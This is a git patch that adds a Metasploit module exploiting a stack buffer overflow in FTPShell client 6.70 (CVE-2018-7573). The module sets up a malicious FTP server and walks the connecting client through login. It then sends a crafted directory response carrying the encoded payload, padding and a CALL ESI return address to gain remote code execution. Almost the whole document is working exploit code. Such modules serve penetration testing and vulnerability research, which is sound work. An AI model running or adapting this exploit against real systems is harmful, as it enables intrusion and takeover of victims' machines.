From 4a4e38a7b0422a553973dfea9a3ef98cfb353b5d Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Wed, 27 Jun 2018 16:37:22 +0100
Subject: [PATCH] FTPShell client 6.70 (Enterprise edition)

---
 .../exploits/windows/ftp/ftpshell_cli_bof.rb  | 107 ++++++++++++++++++
 1 file changed, 107 insertions(+)
 create mode 100644 modules/exploits/windows/ftp/ftpshell_cli_bof.rb

diff --git a/modules/exploits/windows/ftp/ftpshell_cli_bof.rb b/modules/exploits/windows/ftp/ftpshell_cli_bof.rb
new file mode 100644
index 0000000000..cbb30da4ac
--- /dev/null
+++ b/modules/exploits/windows/ftp/ftpshell_cli_bof.rb
@@ -0,0 +1,107 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::TcpServer
+  include Msf::Exploit::Seh
+  include Msf::Exploit::Remote::Egghunter
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow',
+      'Description'    => %q{
+          This module exploits a buffer overflow in the FTPShell client 6.70 (Enterprise edition) allowing remote
+          code execution.
+        },
+      'Author'   =>
+        [
+          'r4wd3r',                                            # Original exploit author
+          'Daniel Teixeira <danieljcrteixeira[at]gmail.com>'   # MSF module author
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'CVE', 'CVE-2018-7573'],
+          [ 'EDB', '44596' ]
+        ],
+      'Payload'        =>
+        {
+          'Space'    => 400,
+          'BadChars' => "\x00\x22\x0d\x0a\x0b"
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          # CALL ESI in FTPShell.exe : 0x00452eed
+          [ 'Windows Universal', {'Ret' => "\xed\x2e\x45" } ]
+        ],
+      'Privileged'     => false,
+      'DefaultOptions' =>
+        {
+          'SRVHOST' => '0.0.0.0',
+          'EXITFUNC' => 'thread'
+        },
+      'DisclosureDate' => 'May 15 2017',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])
+      ])
+  end
+
+  def exploit
+    srv_ip_for_client = datastore['SRVHOST']
+    if srv_ip_for_client == '0.0.0.0'
+      if datastore['LHOST']
+        srv_ip_for_client = datastore['LHOST']
+      else
+        srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
+      end
+    end
+
+    srv_port = datastore['SRVPORT']
+
+    print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
+    super
+  end
+
+  def on_client_connect(client)
+    return if ((p = regenerate_payload(client)) == nil)
+    print_status("#{client.peerhost} - connected.")
+
+    res = client.get_once.to_s.strip
+    print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
+    print_status("#{client.peerhost} - Response: Sending 220 Welcome")
+    welcome = "220 Welcome.\r\n"
+    client.put(welcome)
+
+    res = client.get_once.to_s.strip
+    print_status("#{client.peerhost} - Request: #{res}")
+    print_status("#{client.peerhost} - Response: sending 331 OK")
+    user = "331 OK.\r\n"
+    client.put(user)
+
+    res = client.get_once.to_s.strip
+    print_status("#{client.peerhost} - Request: #{res}")
+    print_status("#{client.peerhost} - Response: Sending 230 OK")
+    pass = "230 OK.\r\n"
+    client.put(pass)
+    res = client.get_once.to_s.strip
+    print_status("#{client.peerhost} - Request: #{res}")
+
+    sploit = "220 \""
+    sploit << payload.encoded 
+    sploit << "\x20"*(400-payload.encoded.length)
+    sploit << target.ret
+    sploit << "\" is current directory\r\n"
+
+    print_status("#{client.peerhost} - Request: Sending the malicious response")
+    client.put(sploit)
+
+  end
+end